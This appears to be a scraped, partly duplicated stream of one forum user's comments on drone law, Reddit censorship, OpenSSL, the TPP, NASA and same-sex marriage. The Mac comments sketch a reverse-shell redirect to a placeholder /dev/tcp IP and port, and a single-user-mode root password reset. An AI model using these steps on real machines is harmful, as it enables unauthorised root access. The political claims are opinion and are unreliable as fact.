I imagine you could pass a law that says the State owns all the airspace from ankle height and give the police jurisdiction over drones, beach-balls, and soap bubbles. But then I don't need to imagine that since Oregon was trying to do just that. (Notice the use of a military drone in the article, when the legislation is actually trying to get the citizens to cede their rights to their own airspace.
So unless you have a political incentive to create and pass new legislation (to look busy), or you're feeling pressure from Amazon's lobby so they can fly shipping lanes into private citizens airspace without their permission, I'd say there's no reason for another law in this case.
Is it legal to climb your roof, and point a loaded handgun at your neighbour's head?
If you did this to a police officer he would probably shoot you. And I'm no legal expert but even your neighbor may be legally allowed to shoot you in this case.
You've described someone threatening assault with a deadly weapon. There are just a few laws dealing with that...
Happened twice: once after sitting idle for a few minutes with a web page open (did not enter sleep mode), the other on boot at the login screen.
The fact it happened on boot is what made me dismiss it as a possible update issue.
No ports being forwarded, but after seeing this anything that exposes a unix account and allows any environmental variable to be set (even one for the app's own private shell) would be able to core this apple. Redirecting a shell to a remote IP is trivial
exec/bin/sh 0 (path to dev-tcp-IP-PORT etc)
Just don't know if that would take keyboard away from an active user...
I'm still trying to determine if this would be effective JavaScript Shell
You just have to be able to set an environment variable no matter who you are and you're root. It's just a question if FireFox has its own "environment" or relies on an under-privileged UNIX account.
From what I can tell, this is a wide-open window. Huge, huge, flaw.
He was flying an R/C plane (below obstacles from what one can tell on the video)
If he shoots people or trespasses there's existing law. Flying a hobby project on private land with a gun or a container of fireworks may be ill-advised -- but you don't need to make another law because you feel threatened by the brave/stupid things people choose to do with their life and property.
I agree that Reddit may do what it wishes with its platform. I'm merely decrying another venue being swallowed by The Politically Correct Puppet Masters ®.
The attempt to censor a question to Jesse Jackson which Victoria refused to do -- resulted in her firing. Ellen Pao took the heat for making the brave stand to uphold politically correct standards and censorship and now Steve Huffman looks like he will continue on the road to sub-Reddit into 1984.
I care little for hosting illegal and exploitative content -- but it was nice to have a venue where controversial subjects could be broached and discussed. Huffman indicates such attempts at actual discussion in future will be met with shadow bans and censorship. The resulting product will allow the Reddit view of the world to be molded as MSNBC would have it -- just with cats.
Here I was thinking he was attempting to abstract electricity and come up with his own implementation — an undeniable threat to the stability of the Commonwealth — but instead he's just a petty thief...
Ah well, wake me up when there's some real news, would you?
Apparently the NSA/FBI needed collect someone's encrypted data in the last year. Now that they have what they want, they are sewing it back up again.
Though with the NSA's purported computing capability and back doors it doesn't seem like they would need this -- unless some lesser player on the intelligence field got this in -- but then I'm positing corroboration with the OpenSSL folks, so it seems like only a government would be capable of coercing this kind of flaw. But with the underhanded C contest, maybe someone at OpenSSL would make a "mistake" for the right price.
Yeah, I don't care what modifier it uses -- on OS X it doesn't freaking work!
Sometimes it goes to the previous app and sometimes it goes to the next app, and sometimes it goes it some other app purely at random.
I think Microsoft must own the IP for the "sequential movement between apps by key-stroke combination" and Steve Jobs was too irate to pay Bill for anything. So they just put a randomize into the routine to avoid a lawsuit.
Simple, non-nonsense interface, reliable ALT+TAB (damn you OS X!), good package manager, with all the redundant filesystem management wizardry. Good support for GPUs and the latest OpenGL/DirectX as well.
The TPP enforces the laws of any given country in another country under the partnership.
While everyone in the US was diverted by the Charleston church massacre and the misdirected angst over the Confederate flag: the Senate gave the US president authority to enter into this agreement.
If you live in Australia, New Zealand, Malaysia, Chile, Japan, the US or Canada: welcome to the pacific version of the EU!
NASA requires the private companies to certify their spaceships are okay for humans to fly in (even if they're only for cargo). Thus SpaceX and other private companies have to pass the certification that their rockets are theoretically safe for humans.
NASA plans to build an spaceship (that is only going to fly cargo) and actually is only a practice run for another mission -- but since it holds the private companies to this higher standard -- it feels obligated to certify it's own unmanned spaceship is human-certified too. But human-safe certifying is going to delay the project and cost all kinds of money when they're only going to use the spaceship once and its not for humans anyway.
So apparently NASA must decide between hypocrisy and cost savings.
Sorry about the double-post. Reddit is spoiling me -- forgot to include formatting..
From the summary:
NASA requires the private companies to certify their spaceships are okay for humans to fly in (even if they're only for cargo).
So SpaceX and other private companies have to pass the certification that their rockets are theoretically safe for humans.
NASA plans to build an spaceship (that is only going to fly cargo) and actually is only a practice run for another mission -- but since it holds the private companies to this higher standard -- it feels obligated to certify it's own unmanned spaceship is human-certified too.
But human-safe certifying is going to delay the project and cost all kinds of money when they're only going to use the spaceship once and its not for humans anyway.
So apparently NASA must decide between hypocrisy and cost savings.
Did you know that farmers get money for farming from the government? So where's mine? I don't farm, but dammit equal protection!
No, I don't get free money from the government for farming unless I actually farm.
It's the same way with state-defined marriage. The states didn't establish a right, they established a subsidy. A subsidy for people to have sex. The reason states were happy to grant this subsidy was generally people having sex produce children. More children, more people, more commerce, more chances for taxes.
So in exchange for expansion of their future tax-base, states afforded tax breaks and other incentives to get people to commit to creating and raising little future tax-payers.
Thus gay persons were already equally eligible for this marriage benefit -- if they were willing to marry the opposite sex. Obviously this was not an acceptable requirement for gay people who wanted the subsidy and other incentives associated with marriage despite their natural inability to reproduce as a homogenous team. Well, there were heterosexual exceptions with marriage so:
Redefining marriage to include sex-acts that generally don't produce children was a bet some states thought was worth making. So they did. But now SCOTUS has decided for ALL states they must include homosexual unions as an exception -- the same exceptions they make for sterile and old people.
The states didn't establish a right, it established a subsidy. A subsidy for people to have sex. The reason states were happy to grant this subsidy was generally people having sex produce children. More children, more people, more commerce, more chances for taxes.
So in exchange for expansion of their future tax-base, states afforded tax breaks and other incentives to get people to commit to creating and raising little future tax-payers.
Redefining marriage to include a sex-act that generally doesn't produce children was a gamble some states thought was worth it. But now SCOTUS decided that states should include homosexual unions as an exception -- just like they make exceptions for the sterile and old people.
Equal rights applies to people only when they are in the same venue.
Say, Bill Gates has a tax liability of a million dollars and gets taxed at say, 19.2%. But John Doe, who washes his windows only makes $20 thousand a year and pays maybe 1%
"Equal rights! I should only have to pay as much as John does", says Bill Gates.
It doesn't work that way. The law only applies to you if you're doing the same thing.
The 14th amendment essentially says if you're making a law, it has to apply to everyone regardless. So whether you're Morgan Freeman or Bill Gates, you still have to pay the higher taxes because you made more money than 99% of the people in the country.
The debate on homosexual marriage was (at the legal level) merely about subsidizing sex. States have always been happy to subsidize sex because it generally produces more tax-payers. Reproduction over the years results in exponential growth. Exponential growth, means growing economy and more economic activity, and thus ultimately way more tax revenue then the skimpy subsidy they gave to married people in the first place.
Redefining marriage to include people whose sex-act doesn't produce future tax-payers was something the states may or may not have thought was going to pay off in the long run. But apparently SCOTUS determined that there was enough room in each states' budget to make room for subsidizing homosexual marriage along with the other marriage exceptions of sterile and old people.
Slashdot Mirror
You must a lawyer or a legislator.
I imagine you could pass a law that says the State owns all the airspace from ankle height and give the police jurisdiction over drones, beach-balls, and soap bubbles. But then I don't need to imagine that since Oregon was trying to do just that. (Notice the use of a military drone in the article, when the legislation is actually trying to get the citizens to cede their rights to their own airspace.
So unless you have a political incentive to create and pass new legislation (to look busy), or you're feeling pressure from Amazon's lobby so they can fly shipping lanes into private citizens airspace without their permission, I'd say there's no reason for another law in this case.
Is it legal to climb your roof, and point a loaded handgun at your neighbour's head?
If you did this to a police officer he would probably shoot you. And I'm no legal expert but even your neighbor may be legally allowed to shoot you in this case.
You've described someone threatening assault with a deadly weapon. There are just a few laws dealing with that...
Own any Mac by booting to single disk mode, mount read-write, set the root password and done.
Unless Apple addresses this -- all Macs are wide open regardless.
But testing as "guest" or "nobody" would leave the system open without having to append the sudoers file first -- so agree: clean up after testing.
MacBook Pro -- integrated keyboard.
Happened twice: once after sitting idle for a few minutes with a web page open (did not enter sleep mode), the other on boot at the login screen.
The fact it happened on boot is what made me dismiss it as a possible update issue.
No ports being forwarded, but after seeing this anything that exposes a unix account and allows any environmental variable to be set (even one for the app's own private shell) would be able to core this apple. Redirecting a shell to a remote IP is trivial
exec /bin/sh 0 (path to dev-tcp-IP-PORT etc)
Just don't know if that would take keyboard away from an active user...
Local application access!
I'm still trying to determine if this would be effective JavaScript Shell
You just have to be able to set an environment variable no matter who you are and you're root. It's just a question if FireFox has its own "environment" or relies on an under-privileged UNIX account.
From what I can tell, this is a wide-open window. Huge, huge, flaw.
Just tested this on my Mac in OS X -- grants root level access immediately.
Lost control of my keyboard twice this week.
Discovered the Mac's firewall was down. But couldn't find any history on the keyboard getting redirected to remote address.
I was ready to chalk it up to a bad driver update by Apple, but I should probably assume I've been rooted.
He hasn't committed a crime.
If he shoots people or trespasses there's existing law. Flying a hobby project on private land with a gun or a container of fireworks may be ill-advised -- but you don't need to make another law because you feel threatened by the brave/stupid things people choose to do with their life and property.
I agree that Reddit may do what it wishes with its platform. I'm merely decrying another venue being swallowed by The Politically Correct Puppet Masters ®.
The attempt to censor a question to Jesse Jackson which Victoria refused to do -- resulted in her firing. Ellen Pao took the heat for making the brave stand to uphold politically correct standards and censorship and now Steve Huffman looks like he will continue on the road to sub-Reddit into 1984.
I care little for hosting illegal and exploitative content -- but it was nice to have a venue where controversial subjects could be broached and discussed. Huffman indicates such attempts at actual discussion in future will be met with shadow bans and censorship. The resulting product will allow the Reddit view of the world to be molded as MSNBC would have it -- just with cats.
But yes, entirely within their rights to do so.
As long those changes reflect the values of Jesse Jackson and Hillary Clinton.
Thank you, Reddit-man!
Here I was thinking he was attempting to abstract electricity and come up with his own implementation — an undeniable threat to the stability of the Commonwealth — but instead he's just a petty thief...
Ah well, wake me up when there's some real news, would you?
Apparently the NSA/FBI needed collect someone's encrypted data in the last year. Now that they have what they want, they are sewing it back up again.
Though with the NSA's purported computing capability and back doors it doesn't seem like they would need this -- unless some lesser player on the intelligence field got this in -- but then I'm positing corroboration with the OpenSSL folks, so it seems like only a government would be capable of coercing this kind of flaw. But with the underhanded C contest, maybe someone at OpenSSL would make a "mistake" for the right price.
free market with state control of capitals
I think you mean Fascism
Yeah, I don't care what modifier it uses -- on OS X it doesn't freaking work!
Sometimes it goes to the previous app and sometimes it goes to the next app, and sometimes it goes it some other app purely at random.
I think Microsoft must own the IP for the "sequential movement between apps by key-stroke combination" and Steve Jobs was too irate to pay Bill for anything. So they just put a randomize into the routine to avoid a lawsuit.
Simple, non-nonsense interface, reliable ALT+TAB (damn you OS X!), good package manager, with all the redundant filesystem management wizardry. Good support for GPUs and the latest OpenGL/DirectX as well.
All this changed when they gave the Obama the authority to enter into the TPP last week.
NZ law is now US law: and US law is now NZ law
The TPP enforces the laws of any given country in another country under the partnership.
While everyone in the US was diverted by the Charleston church massacre and the misdirected angst over the Confederate flag: the Senate gave the US president authority to enter into this agreement.
If you live in Australia, New Zealand, Malaysia, Chile, Japan, the US or Canada: welcome to the pacific version of the EU!
From the summary:
NASA requires the private companies to certify their spaceships are okay for humans to fly in (even if they're only for cargo). Thus SpaceX and other private companies have to pass the certification that their rockets are theoretically safe for humans.
NASA plans to build an spaceship (that is only going to fly cargo) and actually is only a practice run for another mission -- but since it holds the private companies to this higher standard -- it feels obligated to certify it's own unmanned spaceship is human-certified too. But human-safe certifying is going to delay the project and cost all kinds of money when they're only going to use the spaceship once and its not for humans anyway.
So apparently NASA must decide between hypocrisy and cost savings.
Sorry about the double-post. Reddit is spoiling me -- forgot to include formatting..
From the summary: NASA requires the private companies to certify their spaceships are okay for humans to fly in (even if they're only for cargo). So SpaceX and other private companies have to pass the certification that their rockets are theoretically safe for humans. NASA plans to build an spaceship (that is only going to fly cargo) and actually is only a practice run for another mission -- but since it holds the private companies to this higher standard -- it feels obligated to certify it's own unmanned spaceship is human-certified too. But human-safe certifying is going to delay the project and cost all kinds of money when they're only going to use the spaceship once and its not for humans anyway. So apparently NASA must decide between hypocrisy and cost savings.
They were already equal under the law!
Did you know that farmers get money for farming from the government? So where's mine? I don't farm, but dammit equal protection!
No, I don't get free money from the government for farming unless I actually farm.
It's the same way with state-defined marriage. The states didn't establish a right, they established a subsidy. A subsidy for people to have sex. The reason states were happy to grant this subsidy was generally people having sex produce children. More children, more people, more commerce, more chances for taxes.
So in exchange for expansion of their future tax-base, states afforded tax breaks and other incentives to get people to commit to creating and raising little future tax-payers.
Thus gay persons were already equally eligible for this marriage benefit -- if they were willing to marry the opposite sex. Obviously this was not an acceptable requirement for gay people who wanted the subsidy and other incentives associated with marriage despite their natural inability to reproduce as a homogenous team. Well, there were heterosexual exceptions with marriage so:
Redefining marriage to include sex-acts that generally don't produce children was a bet some states thought was worth making. So they did. But now SCOTUS has decided for ALL states they must include homosexual unions as an exception -- the same exceptions they make for sterile and old people.
Sigh. Once again...
The states didn't establish a right, it established a subsidy. A subsidy for people to have sex. The reason states were happy to grant this subsidy was generally people having sex produce children. More children, more people, more commerce, more chances for taxes.
So in exchange for expansion of their future tax-base, states afforded tax breaks and other incentives to get people to commit to creating and raising little future tax-payers.
Redefining marriage to include a sex-act that generally doesn't produce children was a gamble some states thought was worth it. But now SCOTUS decided that states should include homosexual unions as an exception -- just like they make exceptions for the sterile and old people.
Equal rights applies to people only when they are in the same venue.
Say, Bill Gates has a tax liability of a million dollars and gets taxed at say, 19.2%. But John Doe, who washes his windows only makes $20 thousand a year and pays maybe 1%
"Equal rights! I should only have to pay as much as John does", says Bill Gates.
It doesn't work that way. The law only applies to you if you're doing the same thing.
The 14th amendment essentially says if you're making a law, it has to apply to everyone regardless. So whether you're Morgan Freeman or Bill Gates, you still have to pay the higher taxes because you made more money than 99% of the people in the country.
The debate on homosexual marriage was (at the legal level) merely about subsidizing sex. States have always been happy to subsidize sex because it generally produces more tax-payers. Reproduction over the years results in exponential growth. Exponential growth, means growing economy and more economic activity, and thus ultimately way more tax revenue then the skimpy subsidy they gave to married people in the first place.
Redefining marriage to include people whose sex-act doesn't produce future tax-payers was something the states may or may not have thought was going to pay off in the long run. But apparently SCOTUS determined that there was enough room in each states' budget to make room for subsidizing homosexual marriage along with the other marriage exceptions of sterile and old people.
I believe this was the gist of a conversation overheard between Charlie Sheen and your mom.
Dependent is probably more the word I was looking for.